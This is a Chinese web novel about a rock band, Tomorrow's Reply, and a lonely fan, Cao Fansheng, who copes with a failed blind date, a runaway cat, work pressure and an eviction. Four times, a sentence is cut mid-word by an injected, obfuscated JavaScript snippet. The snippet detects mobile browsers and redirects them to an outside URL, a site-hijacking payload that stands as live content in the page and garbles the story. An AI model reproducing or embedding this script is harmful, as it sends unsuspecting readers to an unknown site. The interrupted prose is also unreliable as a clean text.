《明日回信》 1. 序章 四相 “明日回信乐队,请过去备场了。”工作人员走到几个年轻人面前,低头又看了一眼手里的表单,“你们乐队不是四个人吗,怎么才来了三个,还有一个人呢?” 一直低头的姜珏像是被吓了一跳,猛然抬起头,眼神中带着一些惊慌和茫然,嘴唇动了动,却什么也没有说出来。 旁边的姜玺看了她一眼,对工作人员说:“我们的鼓手去卫生间了。” “打个电话催催,马上就轮到你们登台了。” “好。” 孔潇疑惑道:“秀湖姐怎么还没来?都迟到好久了。她平时挺准时的啊。” “我再给她打个电话吧。”姜玺从口袋里掏出手机,正要拨号,却被姜珏按住了手。 “我来。”姜珏从手机里翻出方秀湖的号码,按下通话键,一直等到忙音出现,那边如预料之中的无人接听。 孔潇有些担忧:“秀湖姐该不会出什么事了吧?” 姜玺打量着姜珏的神色,只是说:“再等等吧。” 这时有两个年轻男生过来搭讪,其中一个道:“嗨,你们就是明日回信乐队吧?听说这回只有两支乐队参赛,我早想认识一下你们了。” 姜玺问:“你们是赤浪吗?” “对,我是赤浪的贝斯手,叫陶渡。”那男生问,“我刚才听见你们说鼓手还没来?” 孔潇愁道:“人没来,电话也不接,不知道还能不能赶得上。” 陶渡推了推和他一起过来的那个高个子男生,说:“要不要把我们的鼓手借你们用用?反正我们要倒数第二个才登台,时间绰绰有余。你们鼓谱带了吗?” 姜玺姜珏和孔潇都有些惊讶,姜玺说:“没带呢,就剩十分钟了。要不我们把歌唱一遍,你看着配上基础节奏,再加个花,能行吗?” 那高个子男生说道:“我试试吧,反正再差也比没有鼓手好,死马当成活马医呗。” 姜玺和孔潇对视一眼,都觉得这是无奈之中最后的办法了。姜珏则握着手机发呆,像是游离在他们的谈话之外。 陶渡去问她:“哎,你是主唱吗?” 姜珏看他一眼,又错开视线,嗯了一声。 陶渡笑道:“一看就是。你叫什么名字?”又看向旁边的姜玺:“你们俩长得这么像,是双胞胎吧?” 这时有人快步朝这边跑来,临近时不小心把陶渡给撞到了,气喘吁吁道:“对不起,刚才有点事情,来晚了。” 孔潇顿时如释重负地欢呼:“谢天谢地!秀湖姐,你可算来了。” 迟到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241335|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓手方秀湖终于在最后一刻赶到。她头发半湿,明显是刚洗过,常年淡漠的脸上很罕见的出现了表情,或许是慌张,或许带有一点恐惧,又仿佛是某种亢奋的余波还未消停。 她看向姜珏,姜珏也在第一时间看向她。她见到方秀湖时也很惊讶,却又似乎心知她一定会来。 姜珏把手搭在方秀湖的肩膀上,两个人彼此对视,像是某个秘密的同谋。 姜玺若有所思地看着她们,很快又转过头对孔潇说:“今天你这顶帽子不错。” 孔潇开心道:“是吧?我为了今天的比赛特意买的。” 姜玺笑道:“今天那个谁也来了吧?” 孔潇有些不好意思,装傻道:“什么啊,不知道你在说谁。” 这时工作人员又朝这边喊道:“明日回信乐队!你们人到齐了吗?请过来备场了!” 姜玺招呼大家:“我们走吧。” 孔潇把自己的帽子正了正。姜珏握住了方秀湖的手,方秀湖也回握住她。 陶渡给他们几个打气,笑道:“加油!” 姜玺回过头朝他笑了笑。 四个年轻人在后台等待了一会儿,很快便听见主持人念到了明日回信的名字,邀请他们登台。 演出正式开始。 2. 只有音乐才是我的解药(乐迷视角) “你平时有什么爱好吗?” “下了班回去就追追美剧、看看小说,我比较宅,算是那种网瘾青年吧。”对面的姑娘笑了笑,“不过我也喜欢看演出,有时候周末会去剧场看个话剧,偶尔看点演唱会之类的。” 曹凡声一听便来了兴致,问:“那你喜欢去音乐节吗?” “没去过,听说那个可累了,在户外一站就站一天。” “累是累点,不过挺带劲的,年轻就得躁一下嘛。”曹凡声又问,“那你平时都爱听什么歌啊,喜欢摇滚乐吗?” “什么都听一点,摇滚不算很喜欢,有点太吵了。” “我还挺爱听摇滚的,最喜欢一个叫明日回信的乐队,不知道你有没有听说过?” 姑娘端起咖啡杯饮了一口,摇摇头:“没听说过。” “也是,其实他们算是个老牌乐队了,在圈子里地位挺高的,不过相比其他流行歌手还是比较小众。”曹凡声说,“他们的歌挺不错的,有些也不是那么吵,你有空可以听听。” “行,回头我搜一下。” 说到喜欢的乐队,曹凡声的话匣子就有点关不上了:“你要是第一次听,我推荐那首《树上有什么》,这是他们的第一首歌,比较清新活泼的校园摇滚。我就是听这首歌入坑的,那时候我还在上中学呢。” 姑娘点点头:“哦,那我记一下。” 曹凡声按捺不住那颗想要安利的心,继续滔滔不绝:“他们一开始是参加选秀出道的,后来又出过不少专辑,最出名的有四张,是《怒海!》《折帆》《女儿歌》和《新光》,评价都很好。之前他们来巡演我还去了呢,现场都嗨翻了!对了,四月份他们要在我们这儿开演唱会,纪念乐队成立十五周年。我最近就在蹲等开票呢,你要是有兴趣,到时候一起去啊。” 姑娘只是笑道:“到时候再看吧。” 曹凡声简直来劲了,掏出手机找到乐队的照片给姑娘看:“喏,这就是明日回信。这两人是双胞胎姐妹,妹妹是主唱兼吉他手,词曲基本上都是她写的,特别有才。姐姐是贝斯手,也兼和声。这个男的是键盘手,总是戴顶帽子,乐迷们就笑说他是秃头,不过上回巡演我看见他头发挺多的。这个女生是鼓手,年纪最小,据说从小练网球的,打鼓特别有劲儿。” 姑娘瞄了眼曹凡声的手机屏幕,附和了一句:“哦,那挺好的。” 曹凡声还要再说,这时姑娘的手机响了,她道:“我接个电话。” 姑娘对着电话说了几句,挂断后朝曹凡声抱歉地一笑:“朋友找我有点事情,得先走一步,不好意思了。” 曹凡声一愣:“哦,好,没事的。” 姑娘起身走出了咖啡厅,曹凡声望着人家渐远的背影,已然明白自己遭到了拒绝。 让朋友打电话来佯装有事要走,这真是再标准不过的离场招数了——在面对不感兴趣的相亲对象时。 或许对方也和自己一样,是驳不了上司的面子才不得不来见面的,但被这么直白地拒绝了,还是让人有点受挫。 “唉。”曹凡声叹了口气,把杯子里剩下的咖啡喝掉了,又从口袋里掏出耳机戴上,也打算离开了。 走出咖啡店后,曹凡声坐了挺久的地铁,又骑了一段共享单车,终于回到自己的租屋,一个位于旧城区某筒子楼群里的老破小。屋子在二楼,室内面积窄小,不过被他布置得还挺温馨,算是败絮其外金玉其中。而这已经是他在涨薪之后给自己升级的住处了。 在这个城市打拼的第五年,他终于不用再跟人合租,拥有了一处只属于自己的蜗居。 进了门,他边换鞋边叫道:“虎皮,我回来了。” 但没有听到什么动静,他走进卧室里,看见虎皮正趴在窗边的猫窝里晒太阳。虎皮转头看了他一眼,很快又转回去了,一如既往地不爱搭理人。 虎皮是一只狸花猫,原先一直在小区附近游荡,曹凡声下班回来总是遇见它,经常给它投喂吃的,久而久之就混熟了。后来他心生歹念,把虎皮拐到了家里来。毕竟自己独居也挺孤单的,就想着一人一猫能互相做个伴,而且土猫也好养活,花不了多少钱。 他搬过来半年,圈养虎皮也有三个多月了,但虎皮之前流浪惯了,似乎并不太适应家养的生活,好几次都偷溜出去玩,对主人也不怎么亲近。 曹凡声今天心灵受挫,格外需要跟猫子贴贴以求慰藉。他坐到床尾,把玩虎皮毛茸茸的尾巴:“又趴在这里晒太阳,一天天的净知道享受。” 这话里其实也有几分羡慕,他抚摸着虎皮背上厚实的皮毛,讲起了今天的事:“下午去见刘姐介绍的那姑娘了,坐下来都没说上几句话,人家马上就找借口走了。我就真的这么差劲吗?” 然而讲完了多少有点心虚,又道:“也不算没说上几句,我说得还是挺多的。”想起刚才自己非要给那姑娘安利喜欢的乐队,也不管人家的反应,自顾自说了一大堆,确实也有点失礼。曹凡声反省道:“我是不是太爹味了?唉,可是一说到明日回信,我这张嘴就停不住。只能说确实也没有缘分了。” 虎皮给他摸得有点烦了,甩了甩尾巴,转身跳下了窗台。曹凡声起身去打开了小音响,连上手机,说:“不想那么多了,听点歌开心一下!” 第一首轮到的是明日回信的《新光》,曹凡声把音量调大,十余秒平缓的前奏过后,突然插入一道嘹亮的小号声,像是一道刺破浓雾的曙光,驱散了长久的黑夜,激烈的扫弦和鼓点紧随其后。曹凡声喜欢这样吵闹的音乐,他在音乐里一边充满干劲地大扫除,一边摇头晃脑地跟着哼哼。 清扫卫生间的水池时,他一抬头就能从镜中看到自己。镜子里是一个平凡的青年,有着平平无奇的外表,平平无奇的学历,平平无奇的才能,过着平平无奇的人生。 出生在一个小县城,家境还行,考了个名不见经传的大学,学了个前途有限的专业。个头不高不矮,长相是中人之姿,不时髦,也不太土,一出门就会立刻被淹没在人山人海之中。 在这二十多年平平无奇的人生里,唯一不太循规蹈矩的决定,大概就是在大学毕业后来到这座远离家乡的城市,一待就是五年半。 起初的理由很简单,就跟千千万万个来此打拼的年轻人一样,想要到大城市里开开眼界,寻找机会,怀揣一腔热血去追求点“梦想”。然后这种热血一般会在头两年里冷却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241336|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,明白这里的繁华与自己无关,进而明白平庸的人都是相似的,区别只在于在大城市还是小县城施展自己的平庸。 平庸的曹凡声一开始凭着平庸的学历入职了一家私企,做人力专员。那家公司不大,但妖风大,他在新旧领导的内斗中受到牵连,被穿了几个月小鞋后主动离职。 第二份工作是在一家广告公司做文案,加班加到内分泌失调,为了健康着想再次主动离职。 三年前入职了一家演艺公司,专门承办各种文娱演出和展览活动——一般接不到什么规格太高的活儿,也没有见过任何大牌明星。 他工作踏实勤劳,在公司里也熬出了点资历,去年秋天策划部的原主管跳槽走人,他便升职取而代之了——整个部门连兵带将一共也就仨人。 平时工作并不轻松,但还不至于内分泌失调,而且能接触到不少独立音乐人,以工作之便欣赏他们的演出,也算是跟“梦想”沾了点边,他对这份工作还算满意。 做完大扫除,天都要黑了,曹凡声懒得再自己做饭,打算出门随便吃点。临走时又把魔抓伸向了虎皮:“祖宗,天天在家享受,也该你受点罪了。”然后把虎皮装进猫包,背着出了门。 骑上单车,来到两公里外的一家宠物护理店,曹凡声打算给虎皮做个定期驱虫,顺便再清理一下耳朵,剪剪指甲。 之所以在这家宠物店办了卡,一是因为距离近,春节前做活动时折扣力度也挺大,二则是因为店铺的名字——新光,是明日回信的一首歌的名字。 当初曹凡声路过时就决定,就它了。不过据他观察,这个店名和歌曲应该没什么关系。 店老板是个三十多岁的女人,待客态度一般,不怎么爱说话。店员年轻一点,对人也比较热情。曹凡声听到过她叫老板阿光姐,寻思着新光或许是老板本人的名字。用自己的名字给店铺命名也不罕见。 不管怎样,总归与自己喜欢的乐队冥冥之中有缘。既然养猫都得花钱,他愿意把钱花在这里。 曹凡声把虎皮留在店里,转头去吃晚饭了。吃饱了又在附近晃荡一圈,进超市买了点东西,眼看着时间也晚了,便要回宠物店接虎皮。 此时虎皮已经被打理好,老老实实地待在笼子里。店员在柜台前给曹凡声结算扣费,笑道:“你家猫还挺有脾气的,刚才给它掏耳朵时一直闹,两个人才把它摁住了。” 曹凡声叫苦道:“是吧,这祖宗难伺候着呢,在家里没少抓我打我。” “狸花都有点凶。对了,这猫应该不是从小家养的吧?” “对,本来是个流浪猫,被我捞回家也就三个多月。” 店员了然了:“难怪,流浪猫就是野性大,攻击性也比较强。在家里养久了,再好好教一教,就能温顺不少了。” 这时老板从里间出来,对那店员说道:“你把今天的账盘一下,我打扫完里面就可以关门了。” 虎皮已经是留在店里的最后一只宠物,曹凡声把它装进猫包,背好了,跟两位打了个招呼:“那我先走了。” 店员热情道:“慢走,欢迎下次光临。” 老板只看了他一眼,没说什么就又回到了里间。 3. 人生就是起起落落落落落(乐迷视角) 回到了住处,曹凡声正要开门时手机响了。他一手拎着超市的购物袋,一手在掏钥匙,就没空去接电话。进屋放下东西,铃声已经停下了。他掏出手机一看,刚才是老妈发来的视频邀请。 他略一犹豫,还是回拨了过去。 老妈和老爸的脸一起出现在屏幕上,老妈笑道:“儿子,刚从外面回来吗?” 曹凡声嗯了一声,道:“你们俩还没睡呢?” “快了。”老妈问他,“大晚上的又跑哪儿去了?” “出去溜达溜达,顺便买了点东西。” “一个人去的吗?” “是啊,不然还能有谁。” “大周末的也没约个朋友一起出去玩?” 老爸插话道:“你在网上认识的那些狐朋狗友呢,之前不是经常跟他们鬼混吗?” “什么啊,哪来的鬼混,人家都是正经人。”曹凡声有些无奈道,“别人也有自己的事,哪能每周都见呢。” 老妈说:“你看吧,在大城市就是这点不好,想跟朋友见一面都不容易。换了在我们这儿,哪有这么麻烦。今晚我还跟你周姨一块儿遛狗呢,吃完饭散个步就到她那儿了。” 曹凡声一听这话就知道不妙,心想果不其然,又来了。 如他所料,老妈紧接着就劝上了:“你要是能回来,找个稳定工作干着,每天也不用花那么多时间在上班路上,下了班就找以前那些个同学去打打球、吃个烧烤,不比你在那边过得舒服多了?” 曹凡声道:“咱们那儿就这么巴掌大的地方,我回去能找着什么工作啊。别到时候养活自己都成问题,还得啃老。” 老爸道:“也没说非让你回咱们县城,你在市里还找不着个工作吗?回来最好是考个公务员,旱涝保收,说出去也体面。就你现在那公司,指不定什么时候就倒了,你还真打算在那儿混一辈子啊?” 老妈又说:“慧慧你还记得吧?你周姨家的闺女,前几年考上省直单位的公务员了,前途一片大好。别到时候人家都当上处长了,你还在外边漂着。我听说公务员考试最近就要开始报名了,四月份笔试,你多留意着点儿啊。” 曹凡声搪塞道:“我先记下了,到时候再看吧。” 跟爸妈又再寒暄了几句,互相嘱咐注意穿衣保暖之类的。爸妈那边要睡觉了,曹凡声挂断了视频。 他放下手机,叹了口气,把虎皮从猫包里放出来,对着它的腮帮子挠个不停。虎皮倒是没有抗拒,乖乖地任他挠够了,伸个懒腰,舔舔爪子开始洗脸。 曹凡声又羡慕起它了,人怎样才能像猫咪一样没有烦恼呢? 起初他决定要来这边工作,爸妈并没有反对,觉得年轻人去到外面长长见识也挺好。但这是一种有限期的允许,是在他理应成熟之前可以“玩几年”的纵容。等到玩够了,当然还是要回归正途,回到他们身边找一份稳定而体面的工作,本本分分地结婚生子。此外的一切选择都是不成体统的。 无论他在外面取得了什么成就,实现了何种价值,过得多么快乐,这种生活依然都是老妈嘴里的“漂着”,有股吃了上顿没下顿的凄惨。 前几年还好说,今年他就要满二十八岁了。在刚刚过去的那个春节里,爸妈用前所未有的力度来劝他辞职回乡——他的限期已到,是时候回归正途了。 更何况,他在这些年里也并没有取得多大的成就,实现了如何了得的价值,至于快乐——当然是有过的,而且很不少,只是压力与烦恼同样很多。 留在家乡的老同学们近几年都陆续结婚了,个别效率高的甚至有了二胎。他自己虽然不着急,内心其实也有些抗拒家庭的束缚,但看到大家争相跳进了浩浩荡荡的主流里,还是会有一点被落下的慌张和茫然。 要是回去,日子自然是会比现在舒服得多,但小地方的保守风气和紧密的人情往来,必定又会带来新的困扰。要是留下,虽然生活难免奔波,但至少能过得自由,还可以享受到丰富的物质和精神生活。 所谓的退路是一眼望到头的无趣日子,如果往前走,又要以外地人的身份面对未知的风险。 他有自知之明,自己没什么大能耐,去相亲都撑不到半个小时。他没有扎根于此地的本事,只是过一天算一天罢了。说好听点是活在当下,说难听点,就如老妈嘴里的——漂着。 “唉。”曹凡声每次跟家里通完视频都会有点郁闷。他又去打开了小音响,打算给自己换个心情:“不想那么多了,听点歌开心一下!” 在喜欢的音乐中洗完澡,刷了牙,又给虎皮的自动喂食机续上猫粮和清水,时间已晚,曹凡声钻进被窝,在周末的尾声里恋恋不舍地睡去了。 又是周一,曹凡声忙完了一上午,边吃午饭边用手机搜了一下今年老家公务员考试的信息。过两天就开始报名了,而笔试时间定在四月中旬的一个周末,正好是十五日和十六日——撞上了明日回信的演唱会。 他心想,那没办法了,肯定得去看演唱会啊,多难得才有一次这样的机会。同时又暗暗松了口气,仿佛是终于有了正当的理由不去做那件爸妈期待的、而自己内心抗拒的事。 吃完午饭回公司时,曹凡声在电梯里遇到了刘姐。刘姐一见他就笑问:“小曹,周末的情况怎么样了?” 刘姐是公司的演艺总监,也是合伙人之一,昨天那场相亲正是她在中间牵线。曹凡声有些不好意思道:“我估计是没有下文了。” “不会吧,是哪儿不合适啊?” “没有缘分吧,聊得不太投机。” “嗐,那下次有合适的我再给你介绍。” “真不用了刘姐。”曹凡声连忙谢绝,“我暂时也没打算交女朋友,工作都忙不过来呢。” “那行,你就自己看着办吧。”作为上司也乐见他把心思都扑在工作上,便不再多劝了。 然而这位上司在工作之余虽然热情和善,在工作上却并非如此,下午就给曹凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241337|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声劈头盖脸骂了一顿。 公司上周刚接了个新活儿,某家艺术培训机构要举办一场学员才艺集中展示会,不是什么大活动,他便交给手下小钟来做方案。小钟去年才大学毕业,经验不多,但工作起来还算踏实勤恳,周末加班把方案做出来了。 早上曹凡声看过一遍,觉得没什么问题,便把方案提交给刘姐审阅,由她来敲定。结果午休刚结束,刘姐就恼火地从办公室里出来了,把方案甩到他的桌面上就骂:“你自己看看这个预算表,简直漏洞百出!你这个主管怎么把关的?从你手里出去的东西都能有这么低级的错误!要是让人家甲方看见,咱们公司的声誉还要不要了?长两只眼睛都看不出问题吗?干得来就干,干不来趁早走人!” 整个公共办公区都回荡着刘姐的痛斥,无人敢做声。曹凡声当众挨骂,脸上红一阵白一阵的,低声下气道:“我们马上就改,保证绝对不会再出现类似错误。” 刘姐回办公室去了。曹凡声一看预算表,发现是场地租用费和音响设备租用费的数字重复了,导致整个活动的预算比实际多出了近八千块钱。小钟在做方案时出了差错,自己在审稿时也太过大意,竟然没有发现。 过了一会儿,小钟过来很惭愧地向他道歉:“曹哥,对不起,都怪我太马虎,连累你挨骂了。” 曹凡声宽慰道:“不用太自责,这回确实也是我没把好关。就当个教训,往后别再犯同样的错就好。” 虽然很倒霉,但自己挨骂确实不冤。而且刘姐也算是公平,向来都只骂部门负责人。以前他还当普通职员时,犯了错也是主管被骂的。 把方案改好,曹凡声又仔仔细细再看了一遍,确保万无一失才提交了。出了这事,他一整个下午情绪都有些低落,到点后又加了会儿班,离开公司时天都黑透了。 现在还是初春,昼短夜长,天气也仍然很冷。路上车流不息,行人匆匆,曹凡声缩了缩脖子,拢紧外套,在寒风中走去最近的地铁站。 车厢里依然拥挤,他好像从没见过这条地铁线有人少的时候。他右手抓着上方的拉环,身体被周围乘客不断摩擦挤压,而耳机里传来最喜欢的音乐,像一道隔绝外界的壁垒。 都说摇滚乐代表着反叛,曹凡声也不知道是否应该赞同。他很少见到周围有谁比他更热爱摇滚,但这也不影响他成为了一个如此平凡又温和的人。从小脾气就软,也没什么个性,连远大的理想都从未有过,那些尖锐的歌词与音符就是他人生的反义词。 但也是在这些尖锐的歌词与音符里,他才能够短暂摆脱一切味同嚼蜡的现实。闭上眼,一头扎进其中,借由歌里热烈的、愤怒的或是哀伤的情绪来假想一场宣泄和嘶吼——这是平凡又温和的他仅有的反叛方式。 听着摇滚到达了换乘站,曹凡声下了车去往另一个站台。这时音乐被中断了,有电话打了进来。他掏出手机一看,是房东的来电。 在匆忙来往的人流中,他接到了一个噩耗。 4. 以为(乐迷视角) “不是,你这也没有道理啊,不让续租怎么也不提前说呢?就剩两三天了,我哪还来得及再去找别的房子?” 房东估计也觉得有点理亏,不再作什么解释,只是道:“电话里说不清楚。你大概什么时候到家?晚点我去你那里,当面细说吧。” 那边自顾自收了线,曹凡声握着手机都不知道是该气还是该笑,觉得这事简直离谱到家了。 他在去年九月初租下了现在这个房子,合同签了半年,再过几天就要到期了。他最近也忙,就忘了续签租房合同这事,房东也没主动找他。谁料今天房东突然通知他房子不再续租了,要求他在租期结束前必须搬走。 现在距离租期结束没几天了,他怎么可能在这么短的时间里找到别的房子,难道到时候要扛着行李去睡桥洞吗? 本就不好的心情又变得更糟糕了。曹凡声想起来,现在的房东是一对夫妇,之前他都是跟女房东联系比较多,每月也是直接在微信上给她转房租。刚才是男房东打来的电话,这么离谱的事不知道女房东清不清楚。如果联系她,事情是不是能有点转机呢? 他找到女房东的微信号,发了信息过去,屏幕上跳出一个红色的感叹号——他被拉黑了。 “有病吧!”曹凡声骂道。饶是他脾气再软,这时候也完全克制不住了。 快回到住处时,他又给男房东打去电话,说话也不那么客气了:“我马上到家了,你还过不过来?” 那头说道:“你等等,我也快到了。” 回到租屋,开门开灯也没看见虎皮,不知道又钻到哪个角落去了。曹凡声打开路上买的速食便当,热了一下,吃到还没一半就听见敲门声,是房东来了。 他起身去开门,房东在门口往里瞅了一眼,道:“正吃饭呢?” 他也摆不出什么好脸,嗯了一声,开门见山道:“我可以搬走,但你得给我时间另找房子,找到了才能搬。” 房东见他这么直白,便也不装什么客气了,道:“合同上白纸黑字可写得清清楚楚的,租期就到三月二号,你超过这个时间还赖在这里属于违约知不知道?你说要等找到房子再搬,那你要是故意拖上一两个月我也得等你?有这种道理吗?” “我什么时候说要一两个月了?你要讲道理,那临时才通知我不让续租就有道理吗?你起码提前半个月吱一声吧,现在这不是故意为难人吗?” 房东知道这事是自己做得不地道,但还是继续嘴硬:“本来租期就要到了,你自己都不上心,不知道主动张嘴问问。我家租客那么多,难道都得让我一个个地去提醒?想要服务周到,你去找中介租房子呗。” 两个人站在门边争执,说话声越来越大,虎皮听到了动静,不知从哪个角落里窜出来,跑过来在曹凡声的脚边一个劲地叫。房东吃了一惊,立刻跟抓住了曹凡声的把柄似的:“你居然在家里养猫?你这又违约了!” 曹凡声没好气道:“当初我问你老婆能不能在家养猫,她同意了的!” “她都没问过我,这事她做不了主!”房东这下子可算能挺起胸来了,“你私自在家里养宠物,我不跟你计较都算大度的了,你识相的话就赶紧按时搬走,不然我认真追究起来,你还得再付我违约金呢。” 曹凡声简直都要气笑了:“平时没见你管过事,今晚倒出来摆架子了。大不了咱们把租房合同拿出来一条一条地看,看看里面到底哪一条说家里禁止养宠物了?” 房东理不直但气很壮,叉着腰道:“这本来就是租房子的规矩!宠物到处拉屎拉尿,把家里搞得乌烟瘴气的,房屋折旧算不算损失?我再租给别人还得花钱请人来打扫,这又是一笔损失。你要是再想拖着不搬,我就跟你把账都算清楚了!” 两个人吵得厉害,让一旁的虎皮有些不安,它又喵喵叫了几下,看准了那道打开的门,猛地一下就擦过房东脚边窜了出去。曹凡声看了连忙要去追:“虎皮!” 房东拦着不让他走:“你别跑,咱们先把事情掰扯清楚!” 曹凡声甩开他:“我先去抓猫,回来再跟你说。” 房东拽着他的胳膊不放:“我跟你话还没说完呢!你就想溜?” 曹凡声急着要下楼,推开他:“我就住这儿,能溜到哪里去?你这人怎么耍无赖呢,再不松手我报警了!” 房东偏就用身体挡住他:“你报啊!看看警察来了到底是谁害怕!” 两个人互相推搡,各不相让。曹凡声气坏了,当真报了警。过了没多久,民警当真来了。 “你们这什么情况啊?都讲讲,有话好好说嘛。”民警同志到了现场,开始了解情况。 听房东遮遮掩掩、自我美化地讲述了一番,曹凡声这才搞明白了,原来春节期间房东跟朋友胡吃海喝时,朋友说到有个亲戚过完年打算来这边工作,托自己帮忙物色个房子。房东想着那时候曹凡声的租期也快到了,正好能做个人情,便一口答应可以把房子租给那朋友的亲戚。 那也就是酒后上头的一句话,房东说完就忘了。结果这几天那朋友真问起来,房东这才记起了这事,怕在朋友面前丢了面子,急急忙忙通知曹凡声不再续约,好把房子空出来租给人家。 他也知道这事做得不厚道,本想让一直负责跟曹凡声收房租的老婆出面来说。女房东也不想做这个恶人,把任务又丢回给他,干脆把这个倒霉租客拉黑了事。 民警了解完了情况,按照惯例各打五十大板,说曹凡声作为一个租客,租期快到了不主动联系房东也有一定责任。如此努力和了一番稀泥,劝说两边都退让一步,最终双方达成了调解结果——曹凡声可以在租期结束后再多住一周,一周之后,无论他是否找到新的住处都必须搬走。 调解结束,房东和民警一起离开了。曹凡声瘫坐在沙发上,看着那份没吃几口就早已凉透的便当,只感觉到了无尽的疲惫和沮丧。 他很喜欢这个住处,虽然离上班的地方一点也不近,但这是在外漂泊的几年里第一个完全只属于自己的空间。他不必再跟别人共用卫生间,不会再被室友糟糕的习惯打扰,好不容易才得到一个安稳与自由的休憩之所。本以为这一切可以长久,可好日子仅过了半年就要结束了。 又要重新找房子,又要重新搬家。偌大城市,再找到一个能兼顾钱包与舒适的地方又谈何容易呢? 他从未比现在更深刻地体会到了“漂着”的辛酸。 之前可以无牵无挂的找房子,现在还得带上虎皮,能选择范围缩小了很多,时间又紧,简直是难上加难。 对了,虎皮还在外面呢,先把它找回来再说。曹凡声赶紧从沙发上起来,出门抓猫。 他到楼下找了一圈,并没有看到虎皮的踪影,又跑到小区外围,在它以前游荡的地方找了又找,还是一无所获。 眼看时间已经很晚,想及虎皮之前也有好几次偷溜出去,玩够了就自己回来了。曹凡声便也不再费劲寻找,想着这祖宗大概是又留恋外面的花花世界了,自己只要留个窗等它回家就行。 回到家,曹凡声已经疲惫至极。晚饭都没能好好吃,但也完全没了胃口。他洗漱完躺下,抱着手机看了些乱七八糟的□□乐,忽然又搜索到老家的公务员考试报名信息,仔细翻看那串长长的招考岗位表格,发现还真有几个适合他报考的岗位。 还是算了吧。他放下手机,关了灯。 接下来的几天里,曹凡声白天要应付工作,趁着吃午饭时狂刷各种租房信息,一下班就到处看房。这回他长了教训,宁愿多花点钱去找正规的中介公司租房,起码服务能有所保障,不会再在临期时被各种不讲理的房东或二房东赶出来。 连着找了快一个星期,始终没有找到合适的新住处。眼看搬走时限越来越逼近,曹凡声也不免越来越焦虑,而出走的虎皮一直不见回来。 每天的工作也一点不让人省心。春天到来,各种演出活动遍地开花,手头项目量猛增。做出方案后又要与执行部进行日常撕扯,偶尔下属惹祸还得连累他也挨骂。曹凡声身上的压力已经到达极限,然后在又一次挨骂时,他又听到了刘姐吼出那句:“干得来就干,干不来趁早走人!” 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241338|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时他双手握紧,手背上青筋毕现,那些过载的压力即刻就要爆发。 “走就走,老子不干了!” 这话已经逼到了喉咙,马上就要脱口而出。他多想任性地宣泄一回,冲动地嘶吼一回,就像他所钟爱的那些音乐一样尖锐。然而他终究还是咽回了一切,最后一如既往地说:“我们马上就改。” 这天他一到点就下了班,跟中介约好的看房也取消了。今天他总得允许自己喘口气,在这个稍一不慎就要崩溃的时刻。 坐上永远拥挤的地铁,在寒风中骑着自行车,他难得在太阳落山前回到那个老破的小区。 他没有上楼,而是坐在最后一丝夕阳余辉里望着楼房发呆。这几十年里,不知有多少人在这几栋老楼里住过又走。他亦是过客之一,大概也留不下什么痕迹,就像千千万万的外来者无法让这座城市记住自己的姓名。 而他的小猫究竟去哪儿了呢?这几天出门前他都特意打开窗户,好让虎皮玩够了自己回来。都过了那么久了,它还是连个影子也没见。 曹凡声自嘲地想,或许虎皮从来都不想被谁豢养,是自己自作多情地要给它一个家。营养的猫粮、美味的罐头、悉心的照料与亲昵的逗弄,其实都没什么用,虎皮不需要家和主人,它只想要自由。 那只养不熟的猫,多像他那些自以为是的追求,付出再多的辛苦也终究是一场空。比起坚持,或许更应该适可而止。 猫不会回来了。他感到有些厌倦了。 他想,要不今晚把公务员考试的名给报了吧。 这时音乐软件正好轮到了那首最爱的《新光》,曹凡声听着耳机里的歌声,小声地跟着哼唱: 不见时间 不见自由 我站在分割世界的门后 静默观望数年之久 不问昨日 不问彼岸 最后一步跨过高墙 身上的光已是我全部的行囊 夕阳落下了,最后一束光线也消失。曹凡声发觉眼眶湿润,便用手背揉了揉眼睛,擦掉那些不该存在的水痕,然后突然感觉到有什么东西在磨蹭自己的脚踝。 他低头一看,惊讶道:“虎皮?” 虎皮在外面浪了几天,皮毛都弄脏不少,大概是真玩够了,也有点累了,打了个呵欠,揣着手在他身边趴下。 